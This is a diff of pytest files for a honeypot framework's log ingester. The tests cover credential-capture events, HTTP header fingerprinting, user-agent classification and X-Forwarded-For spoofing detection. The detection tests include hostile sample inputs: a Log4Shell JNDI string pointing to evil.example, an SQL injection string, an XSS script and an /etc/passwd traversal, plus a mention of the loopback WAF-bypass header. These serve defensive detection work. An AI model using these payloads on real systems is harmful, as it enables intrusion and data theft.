||||
bus=bus,
|
||||
)
|
||||
event = await asyncio.wait_for(sub.__anext__(), timeout=2.0)
|
||||
|
||||
assert event.topic == "credential.captured"
|
||||
assert event.type == "captured"
|
||||
assert event.payload["secret_kind"] == "plaintext"
|
||||
assert event.payload["attacker_ip"] == "10.0.0.5"
|
||||
assert event.payload["decky"] == "decky-01"
|
||||
assert event.payload["service"] == "ssh"
|
||||
# Hash is sha256 of decoded "hunter2".
|
||||
import hashlib
|
||||
assert event.payload["secret_sha256"] == hashlib.sha256(b"hunter2").hexdigest()
|
||||
repo.upsert_credential.assert_awaited_once()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_credential_captured_silent_on_validation_failure(bus: FakeBus) -> None:
|
||||
"""A dropped credential (invalid b64) must not publish anything."""
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
from decnet.web.ingester import _ingest_credential_native
|
||||
|
||||
repo = AsyncMock()
|
||||
repo.upsert_credential = AsyncMock()
|
||||
|
||||
sub = bus.subscribe("credential.captured")
|
||||
async with sub:
|
||||
await _ingest_credential_native(
|
||||
repo,
|
||||
log_data={"attacker_ip": "10.0.0.5", "decky": "d", "service": "ssh"},
|
||||
fields={"secret_b64": "not-valid-base64!!!"},
|
||||
bus=bus,
|
||||
)
|
||||
with pytest.raises(asyncio.TimeoutError):
|
||||
await asyncio.wait_for(sub.__anext__(), timeout=0.2)
|
||||
|
||||
repo.upsert_credential.assert_not_awaited()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_ingester_degrades_cleanly_when_bus_disabled(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
from decnet.bus.factory import get_bus
|
||||
|
||||
monkeypatch.setenv("DECNET_BUS_ENABLED", "false")
|
||||
b = get_bus(client_name="ingester")
|
||||
await b.connect()
|
||||
await b.publish("system.log", {"component": "ingester"}, event_type="batch_committed")
|
||||
await b.close()
|
||||
226
tests/web/test_ingester_http_quirks.py
Normal file
226
tests/web/test_ingester_http_quirks.py
Normal file
@@ -0,0 +1,226 @@
|
||||
"""HTTP header-quirks fingerprint extraction in the ingester."""
|
||||
from __future__ import annotations
|
||||
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.ingester import (
|
||||
_casing_category,
|
||||
_guess_tool_from_order,
|
||||
_http_quirks_fingerprint,
|
||||
_short_hash,
|
||||
_extract_bounty,
|
||||
)
|
||||
|
||||
|
||||
def _log_row(headers: dict[str, str], *, service: str = "http") -> dict:
|
||||
return {
|
||||
"decky": "http-01",
|
||||
"service": service,
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"event_type": "request",
|
||||
"fields": {
|
||||
"method": "GET",
|
||||
"path": "/",
|
||||
"headers": headers,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
# ─── casing classifier ─────────────────────────────────────────────────────
|
||||
|
||||
def test_casing_title():
|
||||
assert _casing_category("User-Agent") == "title"
|
||||
assert _casing_category("Host") == "title"
|
||||
assert _casing_category("X-Forwarded-For") == "title"
|
||||
|
||||
|
||||
def test_casing_lower():
|
||||
assert _casing_category("user-agent") == "lower"
|
||||
assert _casing_category("x-forwarded-for") == "lower"
|
||||
|
||||
|
||||
def test_casing_upper():
|
||||
assert _casing_category("USER-AGENT") == "upper"
|
||||
|
||||
|
||||
def test_casing_mixed():
|
||||
assert _casing_category("USer-AgEnt") == "mixed"
|
||||
|
||||
|
||||
# ─── order + casing hash stability ──────────────────────────────────────────
|
||||
|
||||
def test_same_order_same_hash():
|
||||
row_a = _log_row({"Host": "x", "User-Agent": "curl/8", "Accept": "*/*"})
|
||||
row_b = _log_row({"Host": "y", "User-Agent": "curl/7", "Accept": "*/*"})
|
||||
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
|
||||
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
|
||||
assert fa["order_hash"] == fb["order_hash"]
|
||||
assert fa["casing_hash"] == fb["casing_hash"]
|
||||
|
||||
|
||||
def test_different_order_different_hash():
|
||||
row_a = _log_row({"Host": "x", "User-Agent": "a", "Accept": "*/*"})
|
||||
row_b = _log_row({"Accept": "*/*", "User-Agent": "a", "Host": "x"})
|
||||
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
|
||||
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
|
||||
assert fa["order_hash"] != fb["order_hash"]
|
||||
|
||||
|
||||
def test_different_casing_different_hash():
|
||||
row_a = _log_row({"Host": "x", "User-Agent": "a"})
|
||||
row_b = _log_row({"host": "x", "user-agent": "a"})
|
||||
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
|
||||
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
|
||||
assert fa["casing_hash"] != fb["casing_hash"]
|
||||
assert fa["casing_category"] == "title"
|
||||
assert fb["casing_category"] == "lower"
|
||||
|
||||
|
||||
def test_volatile_headers_excluded_from_hash():
|
||||
"""Content-Length, Cookie, XFF etc. are per-request; the identity
|
||||
hash must not depend on them, otherwise two requests from the same
|
||||
stack — one with Cookie, one without — would dedup-miss at the
|
||||
bounty layer and spam the AttackerDetail page."""
|
||||
row_a = _log_row({
|
||||
"Host": "x", "User-Agent": "a", "Content-Length": "100",
|
||||
})
|
||||
row_b = _log_row({
|
||||
"Host": "x", "User-Agent": "a", "Content-Length": "999",
|
||||
"Cookie": "session=abc",
|
||||
})
|
||||
fa = _http_quirks_fingerprint(row_a, row_a["fields"]["headers"])
|
||||
fb = _http_quirks_fingerprint(row_b, row_b["fields"]["headers"])
|
||||
# Whole payload must be identical — add_bounty dedups on the full
|
||||
# serialized payload, so ANY per-request-varying field would spawn
|
||||
# new rows. This assertion is the contract.
|
||||
assert fa == fb
|
||||
assert fa["stable_count"] == 2
|
||||
|
||||
|
||||
# ─── tool guesses ──────────────────────────────────────────────────────────
|
||||
|
||||
def test_curl_signature_guessed():
|
||||
assert _guess_tool_from_order(["host", "user-agent", "accept"]) == "curl"
|
||||
|
||||
|
||||
def test_python_requests_signature_guessed():
|
||||
assert _guess_tool_from_order([
|
||||
"host", "user-agent", "accept-encoding", "accept", "connection",
|
||||
]) == "python-requests"
|
||||
|
||||
|
||||
def test_go_http_client_signature_guessed():
|
||||
assert _guess_tool_from_order([
|
||||
"host", "user-agent", "accept-encoding",
|
||||
]) == "go-http-client"
|
||||
|
||||
|
||||
def test_nmap_nse_signature_guessed():
|
||||
# Short order starting with host, user-agent → nmap-nse.
|
||||
assert _guess_tool_from_order(["host", "user-agent"]) == "nmap-nse"
|
||||
|
||||
|
||||
def test_unknown_tool_returns_none():
|
||||
assert _guess_tool_from_order(["accept", "host", "user-agent"]) is None
|
||||
|
||||
|
||||
def test_fingerprint_includes_tool_guess_curl():
|
||||
row = _log_row({
|
||||
"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*",
|
||||
})
|
||||
f = _http_quirks_fingerprint(row, row["fields"]["headers"])
|
||||
assert f["tool_guess"] == "curl"
|
||||
|
||||
|
||||
# ─── gating ─────────────────────────────────────────────────────────────────
|
||||
|
||||
def test_non_http_service_skipped():
|
||||
row = _log_row({"Host": "x"}, service="ssh")
|
||||
assert _http_quirks_fingerprint(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_empty_headers_skipped():
|
||||
row = _log_row({})
|
||||
assert _http_quirks_fingerprint(row, {}) is None
|
||||
|
||||
|
||||
def test_only_volatile_headers_still_emits():
|
||||
"""If every header is in the volatile set we still want a fingerprint,
|
||||
just with empty order — "zero stable headers" is itself a signal."""
|
||||
row = _log_row({"Content-Length": "10", "Cookie": "a=b"})
|
||||
f = _http_quirks_fingerprint(row, row["fields"]["headers"])
|
||||
assert f is not None
|
||||
assert f["stable_count"] == 0
|
||||
assert f["order"] == []
|
||||
|
||||
|
||||
# ─── end-to-end via _extract_bounty ─────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_emits_http_quirks():
|
||||
row = _log_row({
|
||||
"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*",
|
||||
})
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
|
||||
calls = [
|
||||
c.args[0] for c in repo.add_bounty.call_args_list
|
||||
]
|
||||
# Expect: http_useragent fingerprint + http_quirks fingerprint.
|
||||
fp_types = [
|
||||
c["payload"].get("fingerprint_type")
|
||||
for c in calls
|
||||
if c["bounty_type"] == "fingerprint"
|
||||
]
|
||||
assert "http_useragent" in fp_types
|
||||
assert "http_quirks" in fp_types
|
||||
|
||||
quirks = next(
|
||||
c for c in calls
|
||||
if c["bounty_type"] == "fingerprint"
|
||||
and c["payload"].get("fingerprint_type") == "http_quirks"
|
||||
)
|
||||
assert quirks["payload"]["tool_guess"] == "curl"
|
||||
assert quirks["payload"]["casing_category"] == "title"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_non_http_skips_quirks():
|
||||
row = _log_row({"Host": "x"}, service="ssh")
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
for call in repo.add_bounty.call_args_list:
|
||||
payload = call.args[0].get("payload") or {}
|
||||
assert payload.get("fingerprint_type") != "http_quirks"
|
||||
|
||||
|
||||
def test_payload_stable_across_paths_and_methods():
|
||||
"""Two requests from the same stack hitting different paths/methods
|
||||
must produce byte-identical payloads so (ip, type, payload) dedup
|
||||
collapses them into one bounty row. If this test breaks, check
|
||||
whether a per-request field snuck back into _http_quirks_fingerprint."""
|
||||
headers = {"Host": "target", "User-Agent": "curl/8.0", "Accept": "*/*"}
|
||||
row_get = {
|
||||
"decky": "http-01", "service": "http", "attacker_ip": "1.2.3.4",
|
||||
"event_type": "request",
|
||||
"fields": {"method": "GET", "path": "/admin", "headers": headers},
|
||||
}
|
||||
row_post = {
|
||||
"decky": "http-01", "service": "http", "attacker_ip": "1.2.3.4",
|
||||
"event_type": "request",
|
||||
"fields": {"method": "POST", "path": "/wp-login.php", "headers": headers},
|
||||
}
|
||||
fa = _http_quirks_fingerprint(row_get, headers)
|
||||
fb = _http_quirks_fingerprint(row_post, headers)
|
||||
assert fa == fb, "payload must not depend on request method/path"
|
||||
|
||||
|
||||
# ─── hash stability across restarts ─────────────────────────────────────────
|
||||
|
||||
def test_short_hash_deterministic():
|
||||
assert _short_hash("abc") == _short_hash("abc")
|
||||
assert _short_hash("abc") != _short_hash("def")
|
||||
assert len(_short_hash("anything")) == 16
|
||||
242
tests/web/test_ingester_ua_classify.py
Normal file
242
tests/web/test_ingester_ua_classify.py
Normal file
@@ -0,0 +1,242 @@
|
||||
"""User-Agent classifier — enriches http_useragent bounty payload."""
|
||||
from __future__ import annotations
|
||||
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.ingester import _classify_ua, _extract_bounty
|
||||
|
||||
|
||||
def _row(ua: str) -> dict:
|
||||
return {
|
||||
"decky": "http-01",
|
||||
"service": "http",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"event_type": "request",
|
||||
"fields": {
|
||||
"method": "GET",
|
||||
"path": "/",
|
||||
"headers": {"User-Agent": ua} if ua else {},
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
# ─── categories ────────────────────────────────────────────────────────────
|
||||
|
||||
def test_empty_ua_is_empty_category():
|
||||
cat, tool, signals = _classify_ua("")
|
||||
assert cat == "empty"
|
||||
assert tool is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua", [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
|
||||
])
|
||||
def test_browser_classification(ua: str):
|
||||
cat, tool, _ = _classify_ua(ua)
|
||||
assert cat == "browser"
|
||||
assert tool is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua,expected_tool", [
|
||||
("curl/8.0.1", "curl"),
|
||||
("curl/7.81.0", "curl"),
|
||||
("Wget/1.21.3", "wget"),
|
||||
("HTTPie/3.2.1", "httpie"),
|
||||
])
|
||||
def test_cli_classification(ua: str, expected_tool: str):
|
||||
cat, tool, _ = _classify_ua(ua)
|
||||
assert cat == "cli"
|
||||
assert tool == expected_tool
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua,expected_tool", [
|
||||
("python-requests/2.31.0", "python-requests"),
|
||||
("aiohttp/3.9.1", "aiohttp"),
|
||||
("httpx/0.27.0", "httpx"),
|
||||
("Go-http-client/1.1", "go-stdlib"),
|
||||
("Java/11.0.19", "java-stdlib"),
|
||||
("okhttp/4.11.0", "okhttp"),
|
||||
("Apache-HttpClient/5.2.1 (Java/11.0.19)", "apache-httpclient"),
|
||||
("axios/1.6.2", "axios"),
|
||||
("PostmanRuntime/7.36.1", "postman"),
|
||||
("GuzzleHttp/7", "guzzle"),
|
||||
])
|
||||
def test_library_classification(ua: str, expected_tool: str):
|
||||
cat, tool, _ = _classify_ua(ua)
|
||||
assert cat == "library"
|
||||
assert tool == expected_tool
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua,expected_tool", [
|
||||
("Nmap Scripting Engine; https://nmap.org/book/nse.html", "nmap"),
|
||||
("Mozilla/5.0 (compatible; Nuclei - Open-source project)", "nuclei"),
|
||||
("sqlmap/1.7.11#stable (http://sqlmap.org)", "sqlmap"),
|
||||
("gobuster/3.6", "gobuster"),
|
||||
("Mozilla/5.0 (Nikto/2.5.0)", "nikto"),
|
||||
("masscan/1.3.2", "masscan"),
|
||||
("wpscan v3.8.25 ", "wpscan"),
|
||||
("zgrab/0.x", "zgrab"),
|
||||
("Mozilla/5.0 (X11; Acunetix; Linux x86_64)", "acunetix"),
|
||||
("ffuf/2.1.0", "ffuf"),
|
||||
])
|
||||
def test_scanner_classification(ua: str, expected_tool: str):
|
||||
cat, tool, _ = _classify_ua(ua)
|
||||
assert cat == "scanner"
|
||||
assert tool == expected_tool
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua", [
|
||||
"Googlebot/2.1 (+http://www.google.com/bot.html)",
|
||||
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
|
||||
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
|
||||
])
|
||||
def test_bot_classification(ua: str):
|
||||
cat, _, _ = _classify_ua(ua)
|
||||
assert cat == "bot"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("ua", [
|
||||
"FUCKYOU/1.0",
|
||||
"myscanner",
|
||||
"customtool-v2",
|
||||
"ABCDE", # short — also triggers suspicious_short signal
|
||||
"X",
|
||||
"lol",
|
||||
"hello-world-ua",
|
||||
])
|
||||
def test_nonstandard_classification(ua: str):
|
||||
cat, tool, _ = _classify_ua(ua)
|
||||
assert cat == "nonstandard", f"{ua!r} should be nonstandard but got {cat}"
|
||||
assert tool is None
|
||||
|
||||
|
||||
# ─── signals ───────────────────────────────────────────────────────────────
|
||||
|
||||
def test_suspicious_short_signal():
|
||||
_, _, signals = _classify_ua("lol")
|
||||
assert "suspicious_short" in signals
|
||||
|
||||
|
||||
def test_suspicious_long_signal():
|
||||
_, _, signals = _classify_ua("A" * 600)
|
||||
assert "suspicious_long" in signals
|
||||
|
||||
|
||||
def test_nonprintable_signal():
|
||||
_, _, signals = _classify_ua("curl/8\x00.0")
|
||||
assert "nonprintable" in signals
|
||||
|
||||
|
||||
def test_injection_like_sqli():
|
||||
_, _, signals = _classify_ua("Mozilla/5.0' OR 1=1 --")
|
||||
assert "injection_like" in signals
|
||||
|
||||
|
||||
def test_injection_like_log4shell():
|
||||
_, _, signals = _classify_ua("${jndi:ldap://evil.example/x}")
|
||||
assert "injection_like" in signals
|
||||
|
||||
|
||||
def test_injection_like_xss():
|
||||
_, _, signals = _classify_ua("<script>alert(1)</script>")
|
||||
assert "injection_like" in signals
|
||||
|
||||
|
||||
def test_injection_like_path_traversal():
|
||||
_, _, signals = _classify_ua("mytool/../../etc/passwd")
|
||||
assert "injection_like" in signals
|
||||
|
||||
|
||||
def test_no_signals_on_normal_browser():
|
||||
_, _, signals = _classify_ua(
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
)
|
||||
assert signals == []
|
||||
|
||||
|
||||
def test_scanner_can_still_carry_injection_signal():
|
||||
"""A scanner UA with an injection marker embedded is a combination
|
||||
worth separating — both labels applied."""
|
||||
cat, tool, signals = _classify_ua("sqlmap/1.7' OR 1=1 --")
|
||||
assert cat == "scanner"
|
||||
assert tool == "sqlmap"
|
||||
assert "injection_like" in signals
|
||||
|
||||
|
||||
# ─── payload determinism / dedup ───────────────────────────────────────────
|
||||
|
||||
def test_same_ua_produces_same_payload():
|
||||
"""Critical for add_bounty dedup — same UA string must produce
|
||||
byte-identical classifier output so the full payload hashes the
|
||||
same across requests."""
|
||||
a = _classify_ua("FUCKYOU/1.0")
|
||||
b = _classify_ua("FUCKYOU/1.0")
|
||||
assert a == b
|
||||
|
||||
|
||||
# ─── end-to-end via _extract_bounty ────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_enriches_nonstandard_ua():
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, _row("FUCKYOU/1.0"))
|
||||
|
||||
ua_call = next(
|
||||
c.args[0] for c in repo.add_bounty.call_args_list
|
||||
if c.args[0].get("bounty_type") == "fingerprint"
|
||||
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
|
||||
)
|
||||
p = ua_call["payload"]
|
||||
assert p["value"] == "FUCKYOU/1.0"
|
||||
assert p["category"] == "nonstandard"
|
||||
assert p["tool"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_enriches_scanner_ua():
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, _row("sqlmap/1.7.11"))
|
||||
|
||||
ua_call = next(
|
||||
c.args[0] for c in repo.add_bounty.call_args_list
|
||||
if c.args[0].get("bounty_type") == "fingerprint"
|
||||
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
|
||||
)
|
||||
p = ua_call["payload"]
|
||||
assert p["category"] == "scanner"
|
||||
assert p["tool"] == "sqlmap"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_empty_ua_still_fires():
|
||||
"""Explicit empty UA header is itself a signal — real clients
|
||||
always send SOMETHING. Flag as 'empty' category."""
|
||||
row = {
|
||||
"decky": "http-01",
|
||||
"service": "http",
|
||||
"attacker_ip": "1.2.3.4",
|
||||
"event_type": "request",
|
||||
"fields": {
|
||||
"method": "GET",
|
||||
"path": "/",
|
||||
"headers": {"User-Agent": ""},
|
||||
},
|
||||
}
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
|
||||
ua_calls = [
|
||||
c.args[0] for c in repo.add_bounty.call_args_list
|
||||
if c.args[0].get("bounty_type") == "fingerprint"
|
||||
and c.args[0]["payload"].get("fingerprint_type") == "http_useragent"
|
||||
]
|
||||
# Empty-string UA is falsy — current _extract_bounty checks `if _ua:`.
|
||||
# We want to NOT emit on missing UA, but we do want to flag empty.
|
||||
# The `_ua is not None` check in ingester now handles this; verify
|
||||
# it fires with category=empty.
|
||||
assert len(ua_calls) == 1
|
||||
assert ua_calls[0]["payload"]["category"] == "empty"
|
||||
302
tests/web/test_ingester_xff.py
Normal file
302
tests/web/test_ingester_xff.py
Normal file
@@ -0,0 +1,302 @@
|
||||
"""XFF / proxy-family mismatch detection in the ingester's bounty extractor."""
|
||||
from __future__ import annotations
|
||||
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.web.ingester import (
|
||||
_categorize_claimed_ip,
|
||||
_detect_ip_leak,
|
||||
_detect_spoofed_source,
|
||||
_extract_bounty,
|
||||
)
|
||||
|
||||
|
||||
def _log_row(
|
||||
headers: dict[str, str] | None = None,
|
||||
*,
|
||||
source_ip: str = "8.8.8.8",
|
||||
service: str = "http",
|
||||
event_type: str = "request",
|
||||
) -> dict:
|
||||
return {
|
||||
"decky": "http-01",
|
||||
"service": service,
|
||||
"attacker_ip": source_ip,
|
||||
"event_type": event_type,
|
||||
"fields": {
|
||||
"method": "GET",
|
||||
"path": "/wp-admin/",
|
||||
"headers": headers or {},
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
# ─── pure detector ──────────────────────────────────────────────────────────
|
||||
|
||||
def test_xff_leftmost_differs_from_source_emits_leak():
|
||||
row = _log_row({
|
||||
"X-Forwarded-For": "1.1.1.1, 10.0.0.1",
|
||||
})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["source_ip"] == "8.8.8.8"
|
||||
assert result["real_ip_claim"] == "1.1.1.1"
|
||||
assert result["source_header"] == "X-Forwarded-For"
|
||||
# Identity-only payload — method/path intentionally omitted so the
|
||||
# bounty dedup collapses repeat hits from the same attacker.
|
||||
assert "method" not in result
|
||||
assert "path" not in result
|
||||
|
||||
|
||||
def test_xff_matches_source_no_leak():
|
||||
row = _log_row({"X-Forwarded-For": "8.8.8.8"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_xff_loopback_is_not_a_leak():
|
||||
"""curl -H 'X-Forwarded-For: 127.0.0.1' is the classic WAF-bypass
|
||||
payload. Must not be classified as an attribution leak — loopback
|
||||
is not a routable IP anyone could actually have as their real
|
||||
address."""
|
||||
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_xff_rfc1918_is_not_a_leak():
|
||||
"""RFC1918 private addresses are forgery attempts, not leaks."""
|
||||
for ip in ("10.0.0.1", "172.16.0.1", "192.168.1.1"):
|
||||
row = _log_row({"X-Forwarded-For": ip})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None, ip
|
||||
|
||||
|
||||
def test_xff_link_local_is_not_a_leak():
|
||||
row = _log_row({"X-Forwarded-For": "169.254.1.1"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_forwarded_header_rfc7239_parsed():
|
||||
row = _log_row({"Forwarded": "for=1.2.3.4;by=5.6.7.8"})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["real_ip_claim"] == "1.2.3.4"
|
||||
assert result["source_header"] == "Forwarded"
|
||||
|
||||
|
||||
def test_forwarded_with_ipv6_and_port():
|
||||
row = _log_row({"Forwarded": 'for="[2606:4700:4700::1111]:4711"'})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["real_ip_claim"] == "2606:4700:4700::1111"
|
||||
|
||||
|
||||
def test_x_real_ip_fallback():
|
||||
row = _log_row({"X-Real-IP": "1.1.1.1"})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["source_header"] == "X-Real-IP"
|
||||
assert result["real_ip_claim"] == "1.1.1.1"
|
||||
|
||||
|
||||
def test_cf_connecting_ip_variant():
|
||||
row = _log_row({"CF-Connecting-IP": "1.0.0.1"})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["source_header"] == "CF-Connecting-IP"
|
||||
assert result["real_ip_claim"] == "1.0.0.1"
|
||||
|
||||
|
||||
def test_priority_forwarded_over_xff():
|
||||
row = _log_row({
|
||||
"Forwarded": "for=1.1.1.1",
|
||||
"X-Forwarded-For": "2.2.2.2",
|
||||
"X-Real-IP": "3.3.3.3",
|
||||
})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["source_header"] == "Forwarded"
|
||||
assert result["real_ip_claim"] == "1.1.1.1"
|
||||
# All proxy headers preserved in metadata.
|
||||
assert "X-Forwarded-For" in result["headers_seen"]
|
||||
assert "X-Real-IP" in result["headers_seen"]
|
||||
|
||||
|
||||
def test_case_insensitive_header_match():
|
||||
row = _log_row({"x-forwarded-for": "1.1.1.1"})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["real_ip_claim"] == "1.1.1.1"
|
||||
|
||||
|
||||
def test_trusted_proxy_source_skipped(monkeypatch):
|
||||
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.8")
|
||||
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_trusted_proxy_cidr(monkeypatch):
|
||||
monkeypatch.setenv("DECNET_TRUSTED_PROXIES", "8.8.8.0/24")
|
||||
row = _log_row({"X-Forwarded-For": "1.1.1.1"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_malformed_xff_falls_through_to_next_parseable():
|
||||
row = _log_row({"X-Forwarded-For": "garbage, 1.1.1.1, not-ip"})
|
||||
result = _detect_ip_leak(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["real_ip_claim"] == "1.1.1.1"
|
||||
|
||||
|
||||
def test_all_values_unparseable_bails():
|
||||
row = _log_row({"X-Forwarded-For": "not-ip, still-not-ip"})
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_no_headers_skipped():
|
||||
row = _log_row({})
|
||||
assert _detect_ip_leak(row, {}) is None
|
||||
|
||||
|
||||
def test_non_http_service_skipped():
|
||||
row = _log_row(
|
||||
{"X-Forwarded-For": "1.1.1.1"},
|
||||
service="ssh",
|
||||
)
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
def test_missing_attacker_ip_bails():
|
||||
row = _log_row({"X-Forwarded-For": "1.1.1.1"}, source_ip="")
|
||||
assert _detect_ip_leak(row, row["fields"]["headers"]) is None
|
||||
|
||||
|
||||
# ─── end-to-end via _extract_bounty ─────────────────────────────────────────
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_emits_ip_leak_row():
|
||||
row = _log_row({
|
||||
"X-Forwarded-For": "1.1.1.1",
|
||||
"User-Agent": "curl/7.81.0",
|
||||
})
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
|
||||
# Expect two bounty calls — User-Agent fingerprint + ip_leak.
|
||||
types = [
|
||||
call.args[0]["bounty_type"]
|
||||
for call in repo.add_bounty.call_args_list
|
||||
]
|
||||
assert "fingerprint" in types
|
||||
assert "ip_leak" in types
|
||||
|
||||
leak_call = next(
|
||||
c for c in repo.add_bounty.call_args_list
|
||||
if c.args[0]["bounty_type"] == "ip_leak"
|
||||
)
|
||||
payload = leak_call.args[0]["payload"]
|
||||
assert payload["real_ip_claim"] == "1.1.1.1"
|
||||
assert payload["source_ip"] == "8.8.8.8"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_extract_bounty_no_leak_no_call():
|
||||
row = _log_row({"X-Forwarded-For": "8.8.8.8"}) # matches source
|
||||
repo = AsyncMock()
|
||||
await _extract_bounty(repo, row)
|
||||
|
||||
types = [
|
||||
call.args[0]["bounty_type"]
|
||||
for call in repo.add_bounty.call_args_list
|
||||
]
|
||||
assert "ip_leak" not in types
|
||||
|
||||
|
||||
# ─── spoofed-source (non-routable claim) classification ─────────────────────
|
||||
|
||||
def test_categorize_public():
|
||||
assert _categorize_claimed_ip("8.8.8.8") == "public"
|
||||
assert _categorize_claimed_ip("2606:4700:4700::1111") == "public"
|
||||
|
||||
|
||||
def test_categorize_loopback():
|
||||
assert _categorize_claimed_ip("127.0.0.1") == "loopback"
|
||||
assert _categorize_claimed_ip("::1") == "loopback"
|
||||
|
||||
|
||||
def test_categorize_private():
|
||||
for ip in ("10.0.0.1", "172.16.0.1", "192.168.1.1"):
|
||||
assert _categorize_claimed_ip(ip) == "private", ip
|
||||
|
||||
|
||||
def test_categorize_link_local():
|
||||
assert _categorize_claimed_ip("169.254.1.1") == "link_local"
|
||||
assert _categorize_claimed_ip("fe80::1") == "link_local"
|
||||
|
||||
|
||||
def test_categorize_multicast_and_reserved():
|
||||
assert _categorize_claimed_ip("224.0.0.1") == "multicast"
|
||||
# 240.0.0.1 is reserved (class E).
|
||||
assert _categorize_claimed_ip("240.0.0.1") == "reserved"
|
||||
|
||||
|
||||
def test_categorize_unparseable():
|
||||
assert _categorize_claimed_ip("not-an-ip") == "unparseable"
|
||||
assert _categorize_claimed_ip("") == "unparseable"
|
||||
|
||||
|
||||
def test_spoofed_source_fires_on_loopback_waf_bypass():
|
||||
"""The original motivating case: curl -H 'X-Forwarded-For: 127.0.0.1'
|
||||
must produce a spoofed_source fingerprint, NOT an ip_leak."""
|
||||
row = _log_row({"X-Forwarded-For": "127.0.0.1"})
|
||||
result = _detect_spoofed_source(row, row["fields"]["headers"])
|
||||
assert result is not None
|
||||
assert result["fingerprint_type"] == "spoofed_source"
|
||||
assert result["claim_category"] == "loopback"
|
||||
assert result["claimed_ip"] == "127.0.0.1"
|
||||
assert result["source_ip"] == "8.8.8.8"
|
||||
|
||||
|
||||
def test_spoofed_source_fires_on_rfc1918():
|
||||
